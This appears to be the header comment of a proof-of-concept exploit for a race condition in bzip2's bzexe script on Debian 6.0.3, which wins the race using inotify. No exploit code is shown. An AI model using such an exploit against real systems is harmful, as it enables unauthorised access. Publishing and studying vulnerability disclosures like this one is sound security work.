bzexe (bzip2) – Race Condition
/* bzexec_PoC.c -- bzip2 (bzexe) race condition PoC Author: vladz (http://vladz.devzero.fr) Tested on: Debian 6.0.3 up to date (bzip2 version 1.0.5-6) This PoC exploits a race condition in the bzexe script. This tool is rarely used so I wasn't supposed to write an exploit. But some people on the full-disclosure list had doubts about this exploitation. Public discussion about this issue started from this post: http://seclists.org/fulldisclosure/2011/Oct/776. I am using Inotify to win the race (on my dual-core, it succeed 100%).
